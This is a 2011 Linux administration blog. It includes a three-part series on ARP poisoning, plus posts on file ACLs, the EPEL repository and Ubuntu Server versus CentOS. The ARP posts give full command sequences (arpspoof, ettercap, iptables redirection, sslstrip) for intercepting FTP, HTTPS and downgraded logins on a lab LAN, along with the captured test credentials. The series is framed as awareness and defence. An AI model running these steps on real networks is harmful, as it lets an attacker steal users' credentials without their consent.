Nov 15, 2011

ARP poisoning (III)

During the first article about ARP poisoning (I), we learnt the danger of connecting to a service by using a non-secure protocol, such as HTTP, FTP, SMTP and so on. The username and password are passed down in clear, and anyone could sniff them.

Ok, that's right, so we have to use safe protocols (HTTPS, SSH, FTPS, etc.). But what occurs whether the digital certificate utilized to authenticate and encrypt the communication is changed on the fly? That is just what we studied in the second article about ARP poisoning (II). The bottom line was that we always have to pay attention when we load a webpage and, we must only accept a trusted certificate.

What would happen if one day we are a little bit asleep and we do not realize that we are using HTTP rather than HTTPS? What? How is it possible that I am logging in to my bank account and that access is not provided through HTTPS? Well you should believe it.

Bellow you can look into the normal login in the Oracle website, both Firefox and Google Chrome. You may observe that both accesses are correctly served by means of HTTPS.




Imagine for a moment that an intruder carries out a poisoning attack between you and the router, in order to intercept all data transmitted. Then, he sets up a tool like sslstrip to establish two TCP communications. On the one hand, a first HTTPS connection between him and the Oracle web, by using the real certificate offered by Oracle, and on the other, a second HTTP connection between him and you. This is the target of sslstrip, to take advantage of a Man in the Middle attack (MitM) for tapping SSL/TLS conversations.

root@attacker:~# aptitude install sslstrip

root@attacker:~# iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 10000

root@attacker:~# sslstrip -w victim.log
sslstrip 0.9 by Moxie Marlinspike running...

root@attacker:~# ettercap -TqM arp:remote /192.168.1.1/ /192.168.1.10/

After running ettercap and forwarding all HTTP traffic to port 10000 (default port used by sslstrip), if the victim tries to open the aforementioned HTTPS Oracle web page, it will turn up the HTTP version of the site (sslstrip takes care of transforming the preceding content sent out by Oracle and serves it to the victim through a HTTP session).

The following figures show the manipulated web page created by sslstrip.




If the victim attempts to sign in, the credentials will be catched by the attacker.

root@attacker:~# cat victim.log
...
2011-11-05 19:51:47,876 POST Data (login.oracle.com):
...
AD91DC75E382F4E9ACDC66D839F095558488AA1754EB29D4513F832B83CB31BF05DB93ACCC18255184E5296825625A56EA6&locale=&ssousername=test%40mytest.com&password=test2

Ok, perfect, so to get out of this kind of attack, first of all, we must have a good cup of coffe every morning, ;-), and second, to be very careful when we surf the Internet. At any rate, as commented in the first post, the end of this series of articles is to present later a great tool which will help us to shut out this sort of problems.

Carrying on with sslstrip, it still holds a last trick: to be able to draw a padlock icon in the navigation bar.

root@attacker:~# sslstrip -f -w victim.log
sslstrip 0.9 by Moxie Marlinspike running...

You can take a look at it in both browsers.




It is very important to underline the risks of this type of attack. You could check it out with hundreds of websites (banks, e-commerce, sports betting, etc.) and in the most of them, you could be spoofed. But I have also seen that there are other webs such as PayPal, where the altered web page does not work out very well.


Nov 8, 2011

Ubuntu Server instead of CentOS?

Although both are outstanding Linux distributions, nowadays I choose Ubuntu Server. For a long time, I have prefered CentOS rather than Ubuntu Server, but today, I always install Ubuntu Server unless there is some requirement which forces me to do the opposite (for instance, when some application just is supported for CentOS/RHEL).

I am not going to focus on certain details such as the performance, architecture, support and so on. I only want to talk about those simple things that, when I finish the installation of an operating system, I usually say: I like it!

For my tests, I am going to use two similar versions: Ubuntu Server 10.04 LTS and CentOS 6.0, both 32 bits. After the initial installation (and their corresponding upgrades), here you are a typical view of the system status. As you can distinguish, Ubuntu Server grabs little memory, since the most of it is cached. In respect of the number of active processes, it also has got fewer than CentOS.

root@ubuntu-server:~# top
top - 12:17:54 up 13 min,  1 user,  load average: 0.00, 0.00, 0.00
Tasks:  78 total,   1 running,  77 sleeping,   0 stopped,   0 zombie
Cpu(s):  0.0%us,  0.0%sy,  0.0%ni,100.0%id,  0.0%wa,  0.0%hi,  0.0%si,  0.0%st
Mem:   2061260k total,   126644k used,  1934616k free,    17088k buffers
Swap:   565240k total,        0k used,   565240k free,    87796k cached
...

[root@centos ~]# top
top - 12:17:49 up 13 min,  1 user,  load average: 0.00, 0.00, 0.00
Tasks:  84 total,   1 running,  83 sleeping,   0 stopped,   0 zombie
Cpu(s):  0.0%us,  0.0%sy,  0.0%ni,100.0%id,  0.0%wa,  0.0%hi,  0.0%si,  0.0%st
Mem:   2071620k total,    99020k used,  1972600k free,     5272k buffers
Swap:  4161528k total,        0k used,  4161528k free,    29488k cached
...

What about the initial space taken up for the installation? (In order to get a more accurate result, I have cleaned the package cache). As you can see, CentOS occupies around 225 MB less than Ubuntu Server. I have to highlight this point, because this aspect has improved a lot on CentOS 6.0, since we have now a version of minimal installation. With CentOS 5, the final size was bigger.

root@ubuntu-server:~# aptitude clean

root@ubuntu-server:~# df -h
Filesystem            Size  Used Avail Use% Mounted on
/dev/mapper/ubuntu--server-root
                       12G  888M  9.6G   9% /
none                 1002M  172K 1002M   1% /dev
none                 1007M     0 1007M   0% /dev/shm
none                 1007M   32K 1007M   1% /var/run
none                 1007M     0 1007M   0% /var/lock
none                 1007M     0 1007M   0% /lib/init/rw
/dev/sda1             228M   31M  185M  15% /boot

[root@centos ~]# yum clean all

[root@centos ~]# df -h
S.ficheros            Size  Used Avail Use% Montado en
/dev/mapper/vg_centos-lv_root
                      7,5G  664M  6,4G  10% /
tmpfs                1012M     0 1012M   0% /dev/shm
/dev/sda1             485M   56M  404M  13% /boot

This situation is reflected as well when we take a look at the number of packages installed on the system.

root@ubuntu-server:~# dpkg -l | grep ii | wc -l
358

[root@centos ~]# yum list installed | wc -l
234

Let's move on to the services which are listening on the system at the beginning. You may appreciate that the picture of Ubuntu Server is impeccable. There is no process bound to any port (aside from SSH). But what happens with CentOS? There are different applications which have already been started up (TCP and UDP). This is a waste of time for me, because at the end of each CentOS installation, I have to remove them.

root@ubuntu-server:~# netstat -nltup
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      810/sshd        
tcp6       0      0 :::22                   :::*                    LISTEN      810/sshd 

[root@centos ~]# netstat -nltup
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address               Foreign Address             State       PID/Program name   
tcp        0      0 0.0.0.0:111                 0.0.0.0:*                   LISTEN      1071/rpcbind        
tcp        0      0 0.0.0.0:22                  0.0.0.0:*                   LISTEN      1191/sshd           
tcp        0      0 0.0.0.0:44568               0.0.0.0:*                   LISTEN      1089/rpc.statd      
tcp        0      0 :::111                      :::*                        LISTEN      1071/rpcbind        
tcp        0      0 :::55445                    :::*                        LISTEN      1089/rpc.statd      
tcp        0      0 :::22                       :::*                        LISTEN      1191/sshd           
udp        0      0 0.0.0.0:822                 0.0.0.0:*                               1071/rpcbind        
udp        0      0 0.0.0.0:841                 0.0.0.0:*                               1089/rpc.statd      
udp        0      0 0.0.0.0:45143               0.0.0.0:*                               1089/rpc.statd      
udp        0      0 0.0.0.0:111                 0.0.0.0:*                               1071/rpcbind        
udp        0      0 :::822                      :::*                                    1071/rpcbind        
udp        0      0 :::43338                    :::*                                    1089/rpc.statd      
udp        0      0 :::111                      :::*                                    1071/rpcbind 

Regarding the repositories provided for each distribution, Ubuntu Server supplies a larger number of packages than CentOS, and this is another plus. Although you can add excelent additional repositories such as EPEL, those extra packages are not officialy supported.

root@ubuntu-server:~# apt-cache stats | grep Normal
  Normal packages: 30299

[root@centos ~]# yum list all | wc -l
4595

Also point out the life cycle of each distribution. On Ubuntu Server you have got a LTS (Long Term Support) version each three years. In contrast, on CentOS, the first release of the branch 5 was shipped in March 2007 and CentOS 6.0, in July 2011 (more than four years after). What goes on with this? Over time, you have to use an operating system where the most of the packages, although still supported, are obsoleted.

And finally, I have metered the time spent in order to reboot the system (both use Upstart). This parameter is really important, mainly in production environments. I have obtained 20 seconds on Ubuntu Server and 40 on CentOS.


Nov 2, 2011

ARP poisoning (II)

During the last article, ARP poisoning (I), you were able to learn the risks of using non-secure protocols inside an unreliable network. At any moment, your connection credentials can be captured by any intruder and you will not be aware of that. Note that this situation can be very common when you surf the Internet and go to HTTP websites, or for example, when you log into your MSN account.

So what happens with secure protocols such as HTTPS? That is to say, for instance when you access your online bank account, PayPal, Gmail, LinkedIn and so on. Are you safe? In most cases, that will depend on you.

Let's go over the normal behavior of a secure site like Facebook. If you click with the left mouse button on facebook.com (in the web browser bar, once you have opened the site), you will be able to appreciate that the connection to the web is encrypted and verified by DigiCert Inc (certification authority).




By pressing on the More Information button, you may take a look at the features of the digital certificate offered by Facebook. As you can pick out in the first screen, the certificate has been issued by DigiCert Inc to Facebook, and in the second one, it is made up by a valid Certificate Hierarchy.




Now we are going to use another audit tool: Ettercap (NG-0.7.3). This program is aimed at sniffing switched LANs, by supporting active and passive analysis of many protocols (HTTP, FTP, POP, IMAP, NFS, etc.), even ciphered ones.

In addition, it includes many options for network and host inspection, data injection in an established connection, lots of loadable modules at runtime, also known as plugins (arp_cop - report suspicious ARP activity -, dos_attack - run a DoS against a victim -, finger - fingerprint a remote host -, etc.), several MitM attacks (ARP poisoning, ICMP redirection, DHCP spoofing and port stealing) and so on.

The victim computer is going to open Facebook (HTTPS) through a web browser (Firefox). Therefore, the victim will go out across the router so as to reach Facebook via Internet.

Ettercap will be utilized in order to poison both elements, victim and router, to sniff all traffic between them. So how can the attacker capture the password, whether this one is sent out through the secure channel previously set up? First up, the traffic between the victim and Facebook is not going directly to the router, but that it will pass through the attacker, which will be picking up all data.

Thereby, on the one hand the attacker will establish an HTTPS connection between itself and Facebook by using the correct certificate issued by Facebook, and on the other, another HTTPS connection between itself and the victim, but this time, by means of a fake certificate created on the fly and which will have all fields filled according to the real certificate presented by Facebook.

Let's get started by editing the configuration file of Ettercap, in order to enable the iptables command to allow the TCP redirection at kernel level, so as to be able to handle SSL dissection.

root@attacker:~# aptitude install ettercap

root@attacker:~# cat /etc/etter.conf
...
[privs]
ec_uid = 0                # nobody is the default
ec_gid = 0                # nobody is the default
...
   redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
   redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
...

Now we are ready to run Ettercap by spoofing both targets and activating the ARP poisoning MitM attack. The 'remote' parameter is set in order to capture the connections which pass through the router, otherwise just the connections between them would be catched.

root@attacker:~# ettercap -TqM arp:remote /192.168.1.1/ /192.168.1.10/

ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA

Listening on eth0... (Ethernet)

  eth0 ->       00:0C:29:20:9F:9B      192.168.1.20     255.255.255.0

Privileges dropped to UID 0 GID 0...

  28 plugins
  39 protocol dissectors
  53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services

Scanning for merged targets (2 hosts)...

* |==================================================>| 100.00 %

2 hosts added to the hosts list...

ARP poisoning victims:

 GROUP 1 : 192.168.1.1 00:60:B3:50:AB:45

 GROUP 2 : 192.168.1.10 00:0C:29:69:81:47
Starting Unified sniffing...


Text only Interface activated...
Hit 'h' for inline help


At this moment, if you open Facebook again, Firefox will warn you that it cannot confirm that the connection is secure. Normally, when you try to connect securely, sites such as banks, stores, public organisms, etc., present trusted identifications to prove that you are going to the right place.




If you confirm the security exception and accept the digital certificate, you will have fallen into the trap of the attacker. Let's review the characteristics of this invalid certificate, so as to be able to compare it with the real certificate (second figure).




As you can make out in the general features of the fake certificate, only the fingerprints are modified, because of the attacker has signed it with him private key. Besides, the undependable certificate does not present a correct hierarchy.

Now if you attempt to login into Facebook, your credentials will be catched by the attacker.

root@attacker:~# ettercap -TqM arp:remote /192.168.1.1/ /192.168.1.10/
...

Text only Interface activated...
Hit 'h' for inline help

HTTP : 69.171.224.39:443 -> USER: test@mytest.com  PASS: test1  INFO: https://www.facebook.com/


Oct 26, 2011

ARP poisoning (I)

From a long time, I wanted to write some article about this issue. I think that people are not aware of the potential risks when they connect to a public network, such as inside an airport, library, pub and so on, even the own office network.

Many times I have heard: it is not not such a big deal, you know what? I have a good antivirus which protects my computer! And on top of all that, the Windows firewall is activated! At that moment is when I put poker face...

Most of the administrators think that by having a well-configured firewall, an IDS, an antivirus, etc., is enough to shield the network from external threats, but it turns out that around 70 or 80 percent of all attacks come from the own internal network.

Please, note that the things which I am going to explain throughout these articles, can be a cause of crime, so you will be the last responsible if you put them into action with bad intentions. The reason because I want to tell this is, on the one hand, due to it is good that you know the danger of connecting to an unreliable network, and on the other, because I will take advantage of this in order to show you how to avoid it.

To begin with, let's get started by saying how ARP works (Address Resolution Protocol). Basically, this protocol is used to associate MAC and IP addresses.

For example, one computer wants to know the MAC address of a router. In this case, that computer gives off a message to the network by asking who has the IP address of that router (ARP request). Then, only the router responds to the computer with its MAC address (ARP reply).

Hereafter, the computer stores into its MAC table (temporary) the IP and MAC address of the router. ARP poisoning, as its name suggests, is to manipulate the MAC table of the victim by injecting fake ARP packets.

What kind of attacks can derive from this situation? For instance, the well-known Man in the Middle attack (MitM).

Below you can see the environment which I will hold for my tests. Victim and attacker are an Ubuntu 10.11, and ubuntu-server is an Ubuntu Server 11.10 release.


In my first case, I am going to put the attacker computer intercepting all communications between ubuntu-server and victim. To be more precise, the victim will connect to a FTP service installed on ubuntu-server and the attacker will try to capture the password. Remember this sort of protocol, also such as HTTP, SMTP, POP3, etc., the credentials are passed down in clear.

So that the attacker node can work as a tranparent bridge, the IP forwarding must be enabled on it. Furthermore, we have to install the dsniff package which contains the arpspoof tool, program that will be used to poison both computers (client and server).

root@attacker:~# echo 1 > /proc/sys/net/ipv4/ip_forward

root@attacker:~# aptitude install dsniff

Let's take a look at their ARP tables before modifying them. As you may appreciate, both computers have registered the correct MAC addresses.

javi@ubuntu-server:~$ arp -a
? (192.168.1.1) at 00:60:b3:50:ab:45 [ether] on eth0
? (192.168.1.10) at 00:0c:29:69:81:47 [ether] on eth0

javi@victim:~$ arp -a
? (192.168.1.1) at 00:60:b3:50:ab:45 [ether] on eth0
? (192.168.1.11) at 00:0c:29:18:36:e6 [ether] on eth0

Next step is to alter those tables by transmitting fake ARP frames.

root@attacker:~# arpspoof -i eth0 -t 192.168.1.10 192.168.1.11
0:c:29:20:9f:9b 0:c:29:69:81:47 0806 42: arp reply 192.168.1.11 is-at 0:c:29:20:9f:9b
...

root@attacker:~# arpspoof -i eth0 -t 192.168.1.11 192.168.1.10
0:c:29:20:9f:9b 0:c:29:18:36:e6 0806 42: arp reply 192.168.1.10 is-at 0:c:29:20:9f:9b
...

If we output the ARP tables again, we can see that the entries have been changed.

javi@ubuntu-server:~$ arp -a
? (192.168.1.20) at 00:0c:29:20:9f:9b [ether] on eth0
? (192.168.1.1) at 00:60:b3:50:ab:45 [ether] on eth0
? (192.168.1.10) at 00:0c:29:20:9f:9b [ether] on eth0

javi@victim:~$ arp -a
? (192.168.1.11) at 00:0c:29:20:9f:9b [ether] on eth0
? (192.168.1.1) at 00:60:b3:50:ab:45 [ether] on eth0
? (192.168.1.20) at 00:0c:29:20:9f:9b [ether] on eth0

At this point, the attacker is ready to sniff all traffic between the implicated nodes. To simplify the test, just the FTP data will be picked up. In this case, I am dumping all FTP packets within a text file with tcpdump, so as to be able to analyze them before with Wireshark. I could also use Wireshark directly by means of a filter.

root@attacker:~# tcpdump -ni eth0 port 21 -s0 -w ftp.pcap

Last step is to establish a FTP session between victim and ubuntu-server.

javi@victim:~$ ftp 192.168.1.11
Connected to 192.168.1.11.
220 (vsFTPd 2.3.2)
Name (192.168.1.11:javi): javi
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

Now we are going to open the captured file through Wireshark. As you can distinguish, the password has been catched.




In addition, if you follow the TCP stream, you will be able to find out that there are several retransmissions. That occurs because the attacker has to forward the TCP/IP packets. This sequence would come out as well if you run tcpdump on ubuntu-server.

And finally, also mention that if IP forwarding was not activated, we would be causing a Denial of Service attack (DoS), due to the communication would be cut out.


Oct 19, 2011

Access Control Lists (II)

In the preceding article about Access Control List, we saw how to grant permissions either on a file or directory for a particular user, and in addition, how to set those ones for new elements by default.

Now, we are going to give permissions to the nobody group and other users. Note that when you are applying ACLs for other users, it is like when you are handling the chmod command.

[root@centos logs]# setfacl -m g:nobody:-w- 002.log

[root@centos logs]# setfacl -m o:rw- 002.log

[root@centos logs]# getfacl 002.log 
# file: 002.log
# owner: root
# group: root
user::rw-
user:nobody:r-x
group::---
group:nobody:-w-
mask::rwx
other::rw-

In order to remove ACLs, we may delete them for a specific user, clear all entries or only get rid of the default ACLs.

[root@centos logs]# setfacl -x g:nobody 002.log

[root@centos /]# setfacl -R -b /logs

[root@centos /]# setfacl -k /logs

Other handy option for ACLs is to associate a mask with an ACL, that is to say, to establish real or effective permissions on a file or directory. In this case, we are limiting the permissions available on a file or directory. For instance, in the following case we are setting read, write and execution permissions for nobody user, but afterwards, we are also applying a mask of just execution.

[root@centos logs]# setfacl -m u:nobody:rwx 002.log

[root@centos logs]# setfacl -m m:--x 002.log

[root@centos logs]# getfacl 002.log
# file: 002.log
# owner: root
# group: root
user::rw-
user:nobody:rwx                 #effective:--x
group::---
mask::--x
other::rw-


Oct 13, 2011

Extra Packages for Enterprise Linux (EPEL)

Today I am going to fill you in on EPEL, a repository maintained by a Fedora group (made up by Red Hat engineers, volunteer community members, etc.) which offers a set of additional packages for Enterprise Linux distributions, such as RHEL, CentOS, Scientific Linux and so on.

For instance, when you purchase a license for RHEL, Red Hat guarantees you support for a series of packages included within its repositories, but other many applications are not provided through them.

Thereby, you have got several options to install packages not located into the official repositories, such as grabbing them from RPM PBone. But another smart option is to set up on your machine, an EPEL repository, whereby you will have high quality add-on packages which will complement your system.

EPEL packages are built from the equivalent ones in Fedora project and they are updated as far as the corresponding RHEL release is supported.

There are EPEL repositories for RHEL4, RHEL5 and RHEL6 (they are too valid for their derived). For my tests, I am going to use a CentOS 6.0 distro where I will install the appropiate 'epel-release' package. By default, only the stable EPEL repository is enabled. Later, you might enable testing and not yet considered stable repositories (I don't recommend it).

[root@centos ~]# rpm -ivh http://download.fedoraproject.org/pub/epel/6/i386/epel-release-6-5.noarch.rpm

[root@centos ~]# ls -l /etc/yum.repos.d/epel*
-rw-r--r--. 1 root root  957 oct 12  2010 /etc/yum.repos.d/epel.repo
-rw-r--r--. 1 root root 1056 oct 12  2010 /etc/yum.repos.d/epel-testing.repo

How can we check out if a package comes from EPEL?

[root@centos ~]# yum install keychecker

[root@centos ~]# keychecker httpd
CentOS-6 Key (CentOS 6 Official Signing Key)
--------------------------------------------
httpd-2.2.15-5.el6.centos.i686

[root@centos ~]# keychecker keychecker
EPEL (6)
--------
keychecker-0.2-2.el6.noarch

Other way is by using yum.

[root@centos ~]# yum info htop
...
Repo       : epel
Summary    : Interactive process viewer
...


Oct 4, 2011

Access Control Lists (I)

One month ago I had to publish the log files of one application at work. The log directory had to be accessible by the development team (they use Windows). Also say that the application runs on CentOS 6.0

No problem. I shared the directory through Samba and granted access to the guest user (on Linux, this is translated to the nobody user).

[root@centos ~]# cat /etc/samba/smb.conf 
[global]
        security      = user
        map to guest  = bad user
        guest account = nobody

[logs]
        path     = /logs
        readonly = yes
        guest ok = yes

Later I was warned that certain files could not be read. By taking a look at it, I could see that some files were been created with wrong permissions.

[root@centos ~]# ls -l /logs/
total 6148
-rw-------. 1 root root 4730880 oct  4 11:37 001.log
-rw-------. 1 root root 1564672 oct  4 11:37 002.log

As you can appreciate, the files just could be read by the owner, in this case root. This was the second problem: the application ran as root and of course, I could not allow access by means of this user.

We opened a ticket to the support center, in order to find out if it were possible to force the program to create the log files with other permissions. The response was fantastic: set up a cron task so as to change them periodically. As I usually say... a real botched.

Fortunately, Linux is a great operating system which if you know it in depth, you will be able to solve problems in different ways.

I sized up the situation and I decided that the best option was to set an ACL (Access Control List). With ACLs, you can give selected users, read, write and execute permissions on a specific file or directory.

First up, you need to have configured the target filesystem with the acl option.

[root@centos ~]# mount -o remount,acl /

[root@centos ~]# cat /etc/fstab
/dev/mapper/vg_centos-lv_root   /       ext4    defaults,acl    1 1
...

Then, you must grant the nobody user, read and execute permissions on all elements of the directory and besides, new files or directories created within it, will also have this ACL by default.

[root@centos ~]# setfacl -R -m u:nobody:r-x /logs

[root@centos ~]# setfacl -d -R -m u:nobody:r-x /logs

In this manner, when a user logs on via Samba (guest user), will be able to read the files. Let's get now the full permissions from any of the files included into the logs directory.

[root@centos ~]# getfacl /logs/001.log
# file: logs/001.log
# owner: root
# group: root
user::rw-
user:nobody:r-x
group::---
mask::r-x
other::---

As you can see above, apart from root, the nobody user can also read the file.

It may seem incredible but ACLs are not well known. I have seen throughout my professional life, authentic disasters by applying permissions on files, mainly due to ignorance of the administrators.

And as you have been able to learn, ACLs are an elegant way to handle the file permissions. Next week I will end up this article with other stuff that you can perform with ACLs.